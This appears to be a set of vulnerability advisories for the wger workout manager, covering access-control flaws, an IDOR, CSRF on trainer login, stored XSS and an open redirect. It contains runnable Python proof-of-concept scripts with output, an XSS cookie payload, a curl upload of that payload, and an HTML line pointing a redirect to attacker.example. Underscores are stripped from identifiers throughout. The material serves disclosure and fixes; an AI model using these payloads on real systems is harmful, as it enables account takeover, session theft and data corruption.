Summary
wger exposes a global configuration edit endpoint at /config/gym-config/edit implemented by GymConfigUpdateView. The view declares permissionrequired = 'config.changegymconfig' but does not enforce it because it inherits WgerFormMixin (ownership-only checks) instead of the project’s permission-enforcing mixin (WgerPermissionMixin) .
The edited object is a singleton (GymConfig(pk=1)) and the model does not implement getownerobject(), so WgerFormMixin skips ownership enforcement. As a result, a low-privileged authenticated user can modify installation-wide configuration and trigger server-side side effects in GymConfig.save().
This is a vertical privilege escalation from a regular user to privileged global configuration control. The application explicitly declares permissionrequired = 'config.changegymconfig', demonstrating that the action is intended to be restricted; however, this requirement is never enforced at runtime.
Affected endpoint
The config URLs map as follows.
File: wger/config/urls.py
python patternsgymconfig = [ path('edit', gymconfig.GymConfigUpdateView.asview(), name='edit'), ]
urlpatterns = [ path( 'gym-config/', include((patternsgymconfig, 'gymconfig'), namespace='gymconfig'), ), ]
This resolves to:
/config/gym-config/edit
Root cause
The view declares a permission but does not enforce it
File: wger/config/views/gymconfig.py
python class GymConfigUpdateView(WgerFormMixin, UpdateView): model = GymConfig fields = ('defaultgym',) permissionrequired = 'config.changegymconfig' successurl = reverselazy('gym:gym:list') title = gettextlazy('Edit')
def getobject(self): return GymConfig.objects.get(pk=1)
The permission string exists, but WgerFormMixin does not check permissionrequired.
The project’s permission mixin exists but is not used
File: wger/utils/genericviews.py
python class WgerPermissionMixin: permissionrequired = False loginrequired = False
def dispatch(self, request, args, kwargs): if self.loginrequired or self.permissionrequired: if not request.user.isauthenticated: return HttpResponseRedirect( reverselazy('core:user:login') + f'?next={request.path}' )
if self.permissionrequired: haspermission = False if isinstance(self.permissionrequired, tuple): for permission in self.permissionrequired: if request.user.hasperm(permission): haspermission = True elif request.user.hasperm(self.permissionrequired): haspermission = True
if not haspermission: return HttpResponseForbidden('You are not allowed to access this object')
return super(WgerPermissionMixin, self).dispatch(request, args, kwargs)
GymConfigUpdateView does not inherit this mixin, so none of the login/permission logic runs.
The mixin that is used performs only ownership checks, and GymConfig has no owner
File: wger/utils/genericviews.py
python class WgerFormMixin(ModelFormMixin): def dispatch(self, request, args, kwargs): self.kwargs = kwargs self.request = request
if self.ownerobject: ownerobject = self.ownerobject['class'].objects.get(pk=kwargs[self.ownerobject['pk']]) else: try: ownerobject = self.getobject().getownerobject() except AttributeError: ownerobject = False
if ownerobject and ownerobject.user != self.request.user: return HttpResponseForbidden('You are not allowed to access this object')
return super(WgerFormMixin, self).dispatch(request, args, kwargs)
File: wger/config/models/gymconfig.py
python class GymConfig(models.Model): defaultgym = models.ForeignKey( Gym, verbosename=('Default gym'), # ... null=True, blank=True, ondelete=models.CASCADE, ) # No getownerobject() method
Because GymConfig does not implement getownerobject(), WgerFormMixin catches AttributeError and sets ownerobject = False, skipping any access restriction.
Security impact
This is not a cosmetic setting: GymConfig.save() performs installation-wide side effects.
File: wger/config/models/gymconfig.py
python def save(self, args, kwargs): if self.defaultgym: UserProfile.objects.filter(gym=None).update(gym=self.defaultgym)
for profile in UserProfile.objects.filter(gym=self.defaultgym): user = profile.user if not isanygymadmin(user): try: user.gymuserconfig except GymUserConfig.DoesNotExist: config = GymUserConfig() config.gym = self.defaultgym config.user = user config.save()
return super(GymConfig, self).save(args, kwargs)
On deployments with multiple gyms, this allows a low-privileged user to tamper with tenant assignment defaults, affecting new registrations and bulk-updating existing users lacking a gym. This permits unauthorized modification of installation-wide state and bulk updates to other users’ records, violating the intended administrative trust boundary.
Proof of concept (local verification)
Environment: local docker compose stack, accessed via http://127.0.0.1:8088/en/.
Observed behavior
An unauthenticated user can reach the endpoint via GET; POST requires authentication and redirects to login. An authenticated low-privileged user can submit the form and change the global singleton. After the save, the application redirects to successurl = reverselazy('gym:gym:list') (e.g. /en/gym/list), which is permission-protected; therefore the browser may display a “Forbidden” page even though the global update already succeeded.
DB evidence (before/after)
Before submission:
bash defaultgymid= None profilesgymnull= 1
After a low-privileged user submitted the form setting defaultgym to gym id 1:
bash defaultgymid= 1 profilesgymnull= 0
Recommended fix
Ensure permission enforcement runs before the form dispatch.
Using the project mixin (order matters):
python class GymConfigUpdateView(WgerPermissionMixin, WgerFormMixin, UpdateView): permissionrequired = 'config.changegymconfig' loginrequired = True
Alternatively, use Django’s PermissionRequiredMixin (and LoginRequiredMixin) directly.
Conclusion
The view explicitly declares permissionrequired = 'config.changegymconfig', which demonstrates developer intent that this action be restricted. The fact that it is not enforced constitutes improper access control regardless of perceived business impact.
<img width="1912" height="578" alt="Screenshot 2026-02-27 230752" src="https://github.com/user-attachments/assets/c627b404-6d9c-4477-88bd-f867d0fa09d2" />
Summary
A user with only the gymtrainer permission can deactivate any account in the same gym, including gymmanager and generalgymmanager accounts. The UserDeactivateView grants access to anyone holding any one of gym.managegym, gym.managegyms, or gym.gymtrainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.
Details
UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:
python permissionrequired = ('gym.managegym', 'gym.managegyms', 'gym.gymtrainer')
WgerMultiplePermissionRequiredMixin (file: wger/utils/genericviews.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:
python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def haspermission(self): for permission in self.getpermissionrequired(): if self.request.user.hasperm(permission): return True # <-- ANY one permission is enough return False
The dispatch() method only verifies same-gym membership:
python def dispatch(self, request, args, kwargs): edituser = getobjector404(User, pk=self.kwargs['pk']) if ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.gymtrainer') ) and edituser.userprofile.gymid != request.user.userprofile.gymid: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, args, kwargs)
There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).
An additional contributing factor: getpermissionlist() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.
PoC
Prerequisites
- A gym with at least two users: one with gymmanager role (victim) and one with gymtrainer role (attacker) - Both users belong to the same gym
Attack Steps
As the trainer, simply visit: GET /en/user/<manageruserid>/deactivate
The manager's account is immediately set to isactive = False. The manager can no longer log in.
Proof of Concept Script
python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import re
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
MANAGERUSER = "gymmanagerpoc" MANAGERPASS = "Manager!Poc!2025" TRAINERUSER = "eviltrainerpoc" TRAINERPASS = "Trainer!Poc!2025"
BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER)
---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None
def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
---- Setup via Django ORM (must run inside container) ----
import os, django os.environ['DJANGOSETTINGSMODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup()
from django.contrib.auth.models import User, Group from wger.gym.models import Gym
Ensure permission groups exist for name in ['gymmember', 'gymtrainer', 'gymmanager', 'generalgymmanager']: Group.objects.getorcreate(name=name)
Create gym gym, = Gym.objects.getorcreate(name="PoC Test Gym") print(f"[] Gym: {gym.name} (id={gym.id})")
Create manager (the VICTIM) manager, created = User.objects.getorcreate( username=MANAGERUSER, defaults={"isactive": True} ) if created: manager.setpassword(MANAGERPASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gymmanager')) manager.isactive = True manager.save() print(f"[] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" isactive: {manager.isactive}")
Create trainer (the ATTACKER) trainer, created = User.objects.getorcreate( username=TRAINERUSER, defaults={"isactive": True} ) if created: trainer.setpassword(TRAINERPASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gymtrainer')) print(f"[] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}")
---- 1. Verify manager is active BEFORE attack ----
manager.refreshfromdb() print(f"\n[] Manager isactive BEFORE attack: {manager.isactive}") assert manager.isactive, "Manager should be active before test"
---- 2. ATTACK: Trainer deactivates manager ----
print(f"\n{'='65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='65}")
from django.test import Client c = Client() c.forcelogin(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINERUSER} - gymtrainer only)") print(f" Response: HTTP {resp.statuscode}")
---- 3. VERIFY ----
print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")
manager.refreshfromdb() print(f"\n Manager isactive AFTER attack: {manager.isactive}")
if not manager.isactive: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.isactive = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable")
Proof of Concept Output
===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management =====================================================================
[] Gym: PoC Test Gym (id=2) [] Manager (victim): gymmanagerpoc (id=4) Groups: ['gymmanager'] isactive: True [] Trainer (attacker): eviltrainerpoc (id=5) Groups: ['gymtrainer']
[] Manager isactive BEFORE attack: True
================================================================= ATTACK: Trainer deactivating gym manager account =================================================================
Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: eviltrainerpoc - gymtrainer only) Response: HTTP 200
================================================================= VERIFICATION =================================================================
Manager isactive AFTER attack: False
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gymtrainer successfully deactivated a gymmanager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+
[+] Cleanup: Manager re-activated
Impact
1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions. 2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a generalgymmanager (superadmin) or a Django superuser manually re-activates their accounts. 3. Abuse Chain: Since getpermissionlist() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.
Fix
Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():
python File: wger/core/views/user.py, inside dispatch() of both views
edituser = getobjector404(User, pk=self.kwargs['pk'])
Trainers must not deactivate/activate managers or other trainers if request.user.hasperm('gym.gymtrainer') and not ( request.user.hasperm('gym.managegym') or request.user.hasperm('gym.managegyms') ): if ( edituser.hasperm('gym.managegym') or edituser.hasperm('gym.managegyms') or edituser.hasperm('gym.gymtrainer') ): return HttpResponseForbidden()
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slotentry ID in a POST /api/v2/workoutlog/ request. The slotentry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.getownerobjects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.getconfigdata() retrieves associated logs via self.workoutlogset.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's getownerobjects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.getownerobjects() returns:
python File: wger/manager/api/views.py, lines 312-316 def getownerobjects(self): return [(Routine, 'routine'), (WorkoutSession, 'session')] # ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked # (SlotEntry, 'slotentry') is MISSING
Because slotentry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slotentry ID (which is never verified).
The second contributing factor is in SlotEntry.getconfigdata():
python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim) - The attacker knows (or can enumerate) the victim's SlotEntry ID - The attacker has at least one Routine of their own (to satisfy the routine ownership check)
Attack Steps
POST /api/v2/workoutlog/ Authorization: Token <attackertoken> Content-Type: application/json
{ "routine": <attackerroutineid>, "slotentry": <victimslotentryid>, "exercise": <anyvalidexerciseid>, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": "2025-01-15", "iteration": 1 }
Expected: HTTP 403 (the slotentry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
python #!/usr/bin/env python3 """ PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Target: wger Workout Manager Severity: CRITICAL - CVSS 7.1 CWE-639: Authorization Bypass Through User-Controlled Key
Usage: python3 poc.py http://localhost:8000 """
import requests import sys import json from datetime import date, timedelta
if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <BASEURL>") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1)
BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2"
VICTIMUSER = "admin" VICTIMPASS = "adminadmin" ATTACKERUSER = "attackeridorpoc" ATTACKERPASS = "Attacker!Poc!2025"
BANNER = """ ===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key ===================================================================== """ print(BANNER)
---- Helper ---- def apilogin(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.statuscode == 200: return r.json().get("token") return None
def apiheaders(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"}
---- 1. Authenticate both users ----
print("[1] Authenticating users...")
victimtoken = apilogin(VICTIMUSER, VICTIMPASS) if not victimtoken: print(f"[-] Cannot log in as victim ({VICTIMUSER}). Check credentials.") sys.exit(1) print(f" Victim ({VICTIMUSER}): token={victimtoken[:16]}...")
attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f" Registering attacker account...") r = requests.post(f"{API}/register/", json={ "username": ATTACKERUSER, "password": ATTACKERPASS, }) if r.statuscode in (200, 201): attackertoken = r.json().get("token") if not attackertoken: attackertoken = apilogin(ATTACKERUSER, ATTACKERPASS) if not attackertoken: print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}") sys.exit(1) print(f" Attacker ({ATTACKERUSER}): token={attackertoken[:16]}...")
---- 2. Create victim's routine chain ----
print("\n[2] Setting up victim's private routine chain...")
vh = apiheaders(victimtoken) today = str(date.today()) enddate = str(date.today() + timedelta(days=30))
r = requests.post(f"{API}/routine/", headers=vh, json={ "name": "Victim Private Routine", "start": today, "end": enddate }) victimroutineid = r.json()["id"] print(f" Routine id={victimroutineid}")
r = requests.post(f"{API}/day/", headers=vh, json={ "routine": victimroutineid, "order": 1, "name": "Push Day" }) victimdayid = r.json()["id"] print(f" Day id={victimdayid}")
r = requests.post(f"{API}/slot/", headers=vh, json={ "day": victimdayid, "order": 1 }) victimslotid = r.json()["id"] print(f" Slot id={victimslotid}")
r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh) exerciseid = r.json()["results"][0]["id"]
r = requests.post(f"{API}/slot-entry/", headers=vh, json={ "slot": victimslotid, "exercise": exerciseid, "order": 1, "type": "normal" }) victimslotentryid = r.json()["id"] print(f" SlotEntry id={victimslotentryid} <-- TARGET")
---- 3. Create attacker's own routine ----
print("\n[3] Creating attacker's own routine...")
ah = apiheaders(attackertoken)
r = requests.post(f"{API}/routine/", headers=ah, json={ "name": "Attacker Routine", "start": today, "end": enddate }) attackerroutineid = r.json()["id"] print(f" Attacker routine id={attackerroutineid}")
---- 4. ATTACK ----
print(f"\n{'='65}") print(f" ATTACK: Injecting fake WorkoutLog into victim's SlotEntry") print(f"{'='65}")
payload = { "routine": attackerroutineid, "slotentry": victimslotentryid, "exercise": exerciseid, "repetitions": 999, "weight": 999, "repetitionsunit": 1, "weightunit": 1, "date": today, "iteration": 1, }
print(f"\n POST {API}/workoutlog/") print(f" routine = {attackerroutineid} (attacker's own -> passes check)") print(f" slotentry = {victimslotentryid} (VICTIM's -> NOT CHECKED)") print(f" weight = 999") print(f" reps = 999")
r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)
print(f"\n Response: HTTP {r.statuscode}")
if r.statuscode == 201: d = r.json() print(f" Created WorkoutLog id={d['id']}") print(f" slotentry = {d['slotentry']} <- VICTIM's SlotEntry!") print(f" routine = {d['routine']} <- attacker's routine") print(f" weight = {d['weight']}") print(f" reps = {d['repetitions']}") elif r.statuscode == 403: print(" Access denied - NOT vulnerable (patched)") sys.exit(0) else: print(f" Unexpected: {r.text[:300]}") sys.exit(1)
---- 5. VERIFY ----
print(f"\n{'='65}") print(f" VERIFICATION") print(f"{'='65}")
r = requests.get( f"{API}/routine/{victimroutineid}/date-sequence-display/", headers=vh, ) print(f"\n GET /api/v2/routine/{victimroutineid}/date-sequence-display/") print(f" (as victim - this endpoint consumes the injected logs)") print(f" HTTP {r.statuscode}")
if r.statuscode == 200: seq = r.json() print(f" Returned {len(seq)} day(s) of data") if seq: print(f" First entry (truncated):") print(f" {json.dumps(seq[0], indent=2)[:600]}")
r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh) victimlogs = r2.json().get("results", []) print(f"\n Victim's own /api/v2/workoutlog/ shows {len(victimlogs)} log(s)") print(f" (The injected log is owned by attacker, so it does NOT appear") print(f" in victim's list view - but it IS attached to victim's SlotEntry") print(f" and WILL corrupt victim's progression calculations.)")
print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+ """)
Proof of Concept Output
===================================================================== PoC: Cross-User Data Corruption via WorkoutLog.slotentry IDOR Severity: CRITICAL CWE-639: Authorization Bypass Through User-Controlled Key =====================================================================
[1] Authenticating users... Victim (admin): token=7e34da0a3f3f00a4... Registering attacker account... Attacker (attackeridorpoc): token=8a70d2881b656c18...
[2] Setting up victim's private routine chain... Routine id=3 Day id=2 Slot id=2 SlotEntry id=2 <-- TARGET
[3] Creating attacker's own routine... Attacker routine id=4
================================================================= ATTACK: Injecting fake WorkoutLog into victim's SlotEntry =================================================================
POST http://localhost/api/v2/workoutlog/ routine = 4 (attacker's own -> passes check) slotentry = 2 (VICTIM's -> NOT CHECKED) weight = 999 reps = 999
Response: HTTP 201 Created WorkoutLog id=2 slotentry = 2 <- VICTIM's SlotEntry! routine = 4 <- attacker's routine weight = 999.00 reps = 999.00
================================================================= VERIFICATION =================================================================
GET /api/v2/routine/3/date-sequence-display/ (as victim - this endpoint consumes the injected logs) HTTP 200 Returned 31 day(s) of data
Victim's own /api/v2/workoutlog/ shows 0 log(s) (The injected log is owned by attacker, so it does NOT appear in victim's list view - but it IS attached to victim's SlotEntry and WILL corrupt victim's progression calculations.)
+----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | HTTP 201 accepted the cross-user slotentry reference. | | The attacker's fake log (weight=999, reps=999) is now | | linked to the victim's SlotEntry and will be included | | in getconfigdata() -> corrupting auto-progression. | +----------------------------------------------------------+
Impact
1. Training Data Integrity: The progressive-overload engine (getconfigdata) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.
2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.
3. Scalable Attack: Because only a slotentry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.
Fix
Primary Fix - Add slotentry to the ownership check
python File: wger/manager/api/views.py class WorkoutLogViewSet(WgerOwnerObjectModelViewSet): def getownerobjects(self): return [ (Routine, 'routine'), (WorkoutSession, 'session'), (SlotEntry, 'slotentry'), # ADD THIS ]
Defence-in-Depth - Filter logs by routine owner
python File: wger/manager/models/slotentry.py, line 367 logs = list(self.workoutlogset.filter( user=self.slot.day.routine.user ))
Summary
The trainerlogin view in wger accepts GET requests and executes djangologin() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
python VULNERABLE - no @requirePOST, no request.method == 'POST' guard CsrfViewMiddleware is bypassed because CSRF enforcement only applies to unsafe HTTP methods (POST, PUT, PATCH, DELETE) def trainerlogin(request, userpk): ... djangologin(request, user, backend='django.contrib.auth.backends.ModelBackend') return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes djangologin() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint: - GET /en/user/<userpk>/trainer-login -> wger.core.views.user.trainerlogin
Suggested patch:
diff --- a/wger/core/views/user.py +++ b/wger/core/views/user.py +from django.views.decorators.http import requirePOST + @loginrequired() +@requirePOST def trainerlogin(request, userpk): ... - # Move ?next= handling to POST body - never use GET params for - # security-sensitive redirects + nexturl = request.POST.get('next', reverse('core:index')) + if not urlhasallowedhostandscheme(nexturl, allowedhosts={request.gethost()}): + nexturl = reverse('core:index') return HttpResponseRedirect(nexturl)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gymtrainer permission).
Step 1 - Attacker hosts malicious page:
html <!-- evil.html --> <img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil" width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1 Host: target Cookie: sessionid=[trainer1session] (no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found Location: //attacker.example/exfil Set-Cookie: sessionid=[alicesession] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1 Cookie: sessionid=[alicesession]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.
This CSRF primitive is the delivery vector that unlocks the trainerlogin scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.
Affected deployments: every wger instance where gym.gymtrainer is delegated to non-admin users.
Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).
Stored XSS via Unescaped License Attribution Fields
Summary
The AbstractLicenseModel.attributionlink property in wger/utils/models.py constructs HTML strings by directly interpolating user-controlled fields (licenseauthor, licensetitle, licenseobjecturl, licenseauthorurl, licensederivativesourceurl) without any escaping. The resulting HTML is rendered in the ingredient view template using Django's |safe filter, which disables auto-escaping. An authenticated user can create an ingredient with a malicious licenseauthor value containing JavaScript, which executes when any user (including unauthenticated visitors) views the ingredient page.
Severity
High (CVSS 3.1: ~7.6)
- Low-privilege attacker (any authenticated non-temporary user) - Stored XSS — persists in database - Triggers on a public page (no authentication needed to view) - Can steal session cookies, perform actions as other users, redirect to phishing
CWE
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Components
Vulnerable Property File: wger/utils/models.py:88-110
python @property def attributionlink(self): out = '' if self.licenseobjecturl: out += f'<a href="{self.licenseobjecturl}">{self.licensetitle}</a>' else: out += self.licensetitle # NO ESCAPING out += ' by ' if self.licenseauthorurl: out += f'<a href="{self.licenseauthorurl}">{self.licenseauthor}</a>' else: out += self.licenseauthor # NO ESCAPING out += f' is licensed under <a href="{self.license.url}">{self.license.shortname}</a>' if self.licensederivativesourceurl: out += ( f'/ A derivative work from <a href="{self.licensederivativesourceurl}">the ' f'original work</a>' ) return out
Unsafe Template Rendering File: wger/nutrition/templates/ingredient/view.html
- Line 171: {{ ingredient.attributionlink|safe }} - Line 226: {{ image.attributionlink|safe }}
Writable Entry Point File: wger/nutrition/views/ingredient.py:154-175
python class IngredientCreateView(WgerFormMixin, CreateView): model = Ingredient formclass = IngredientForm # includes licenseauthor field
URL: loginrequired(ingredient.IngredientCreateView.asview()) — any authenticated non-temporary user.
Form fields (from wger/nutrition/forms.py:295-313): includes licenseauthor (TextField, maxlength=3500) — no sanitization.
Models Affected
6 models inherit from AbstractLicenseModel: - Exercise, ExerciseImage, ExerciseVideo, Translation (exercises module) - Ingredient, Image (nutrition module)
Only the Ingredient and nutrition Image models' attribution links are currently rendered with |safe in templates.
Root Cause
1. attributionlink constructs raw HTML by string interpolation of user-controlled fields without calling django.utils.html.escape() or django.utils.html.formathtml() 2. The template renders the result with |safe, bypassing Django's auto-escaping 3. The licenseauthor field in IngredientForm has no input sanitization 4. The setauthor() method only sets a default value if the field is empty — it does not sanitize user-provided values
Reproduction Steps (Verified)
Prerequisites - A wger instance with user registration enabled (default) - An authenticated user account (non-temporary)
Steps
1. Register/login to a wger instance
2. Create a malicious ingredient via the web form at /en/nutrition/ingredient/add/: - Set Name to any valid name (e.g., "XSS Form Verified") - Set Energy to 125, Protein to 10, Carbohydrates to 10, Fat to 5 (energy must approximately match macros) - Set Author(s) (licenseauthor) to: <img src=x onerror="alert(document.cookie)"> - Submit the form — the form validates and saves successfully with no sanitization
3. View the ingredient page (public URL, no auth needed): - Navigate to the newly created ingredient's detail page - The XSS payload executes in the browser
Verified PoC Output
The rendered HTML in the ingredient detail page (line 171 of ingredient/view.html) contains:
html <small> by <img src=x onerror=alert(1)> is licensed under <a href="https://creativecommons.org/licenses/by-sa/3.0/deed.en">CC-BY-SA 3</a> </small>
The <img> tag with onerror handler is injected directly into the page DOM and executes JavaScript when the browser attempts to load the non-existent image.
Alternative API Path (ExerciseImage)
For users who are "trustworthy" (account >3 weeks old + verified email):
bash Upload exercise image with XSS in licenseauthor curl -X POST https://wger.example.com/api/v2/exerciseimage/ \ -H "Authorization: Token <token>" \ -F "exercise=1" \ -F "image=@photo.jpg" \ -F 'licenseauthor=<img src=x onerror="alert(document.cookie)">' \ -F "license=2"
Note: ExerciseImage's attributionlink is not currently rendered with |safe in exercise templates, but the data is stored with XSS payloads and would execute if any template renders it with |safe in the future. The API serializer also returns the unescaped attributionlink data, which could cause XSS in API consumers (mobile apps, SPAs).
Impact
- Session hijacking: Steal admin session cookies to gain full control - Account takeover: Modify other users' passwords or email addresses - Data theft: Access other users' workout plans, nutrition data, and personal measurements - Worm-like propagation: Malicious ingredient could inject XSS that creates more malicious ingredients - Phishing: Redirect users to fake login pages
Suggested Fix
Replace the attributionlink property with properly escaped HTML using Django's formathtml():
python from django.utils.html import formathtml, escape
@property def attributionlink(self): parts = []
if self.licenseobjecturl: parts.append(formathtml('<a href="{}">{}</a>', self.licenseobjecturl, self.licensetitle)) else: parts.append(escape(self.licensetitle))
parts.append(' by ')
if self.licenseauthorurl: parts.append(formathtml('<a href="{}">{}</a>', self.licenseauthorurl, self.licenseauthor)) else: parts.append(escape(self.licenseauthor))
parts.append(formathtml( ' is licensed under <a href="{}">{}</a>', self.license.url, self.license.shortname ))
if self.licensederivativesourceurl: parts.append(formathtml( '/ A derivative work from <a href="{}">the original work</a>', self.licensederivativesourceurl ))
return marksafe(''.join(str(p) for p in parts))
Alternatively, remove the |safe filter from the templates and escape in the property, though this would break the anchor tags.
References
- Django Security: Cross Site Scripting (XSS) protection - Django formathtml() documentation - OWASP: Stored Cross-Site Scripting
wger before 2.6 (affected versions <= 2.5.0) contains an open redirect vulnerability in the trainerlogin view (wger/core/views/user.py). After a trainer enters impersonation mode, the view redirects to the user-supplied 'next' GET parameter via HttpResponseRedirect() without validating it with urlhasallowedhostandscheme(). An attacker who delivers a crafted link to an authenticated trainer can redirect the trainer's browser to an attacker-controlled domain, enabling phishing and leaking the wger URL structure (including the impersonated user's userpk) via the Referer header.
Summary
